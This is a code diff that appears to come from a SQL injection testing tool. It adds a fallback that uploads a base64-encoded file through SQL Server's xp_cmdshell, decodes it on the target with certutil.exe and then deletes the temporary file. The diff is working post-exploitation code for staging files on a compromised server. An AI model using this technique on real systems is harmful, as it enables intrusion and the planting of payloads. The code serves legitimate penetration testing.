@@ -337,6 +337,33 @@ def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType):
337337
338338 self .execCmd (complComm )
339339
340+ def _stackedWriteFileCertutilExe (self , tmpPath , wFile , wFileContent , dFile , fileType ):
341+ infoMsg = "using certutil.exe to write the %s " % fileType
342+ infoMsg += "file content to file '%s', please wait.." % dFile
343+ logger .info (infoMsg )
344+
345+ chunkMaxSize = 500
346+ dFileName = ntpath .basename (dFile )
347+
348+ randFile = "tmpf%s.txt" % randomStr (lowercase = True )
349+ randFilePath = "%s\%s" % (tmpPath , randFile )
350+
351+ encodedFileContent = base64encode (wFileContent )
352+
353+ splittedEncodedFileContent = '\n ' .join ([encodedFileContent [i :i + chunkMaxSize ] for i in xrange (0 , len (encodedFileContent ), chunkMaxSize )])
354+
355+ logger .debug ("uploading the file base64-encoded content to %s, please wait.." % randFilePath )
356+
357+ self .xpCmdshellWriteFile (splittedEncodedFileContent , tmpPath , randFile )
358+
359+ logger .debug ("decoding the file to %s.." % dFile )
360+
361+ commands = ("cd \" %s\" " % tmpPath , "certutil -f -decode %s %s" % (randFile , dFile ),
362+ "del /F /Q %s" % randFile )
363+ complComm = " & " .join (command for command in commands )
364+
365+ self .execCmd (complComm )
366+
340367 def stackedWriteFile (self , wFile , dFile , fileType , forceCheck = False ):
341368 # NOTE: this is needed here because we use xp_cmdshell extended
342369 # procedure to write a file on the back-end Microsoft SQL Server
@@ -371,4 +398,13 @@ def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
371398 self ._stackedWriteFileDebugExe (tmpPath , wFile , wFileContent , dFile , fileType )
372399 written = self .askCheckWrittenFile (wFile , dFile , forceCheck )
373400
401+ if written is False :
402+ message = "do you want to try to upload the file with "
403+ message += "the built-in certutil.exe technique? [Y/n] "
404+ choice = readInput (message , default = "Y" )
405+
406+ if not choice or choice .lower () == "y" :
407+ self ._stackedWriteFileCertutilExe (tmpPath , wFile , wFileContent , dFile , fileType )
408+ written = self .askCheckWrittenFile (wFile , dFile , forceCheck )
409+
374410 return written
0 commit comments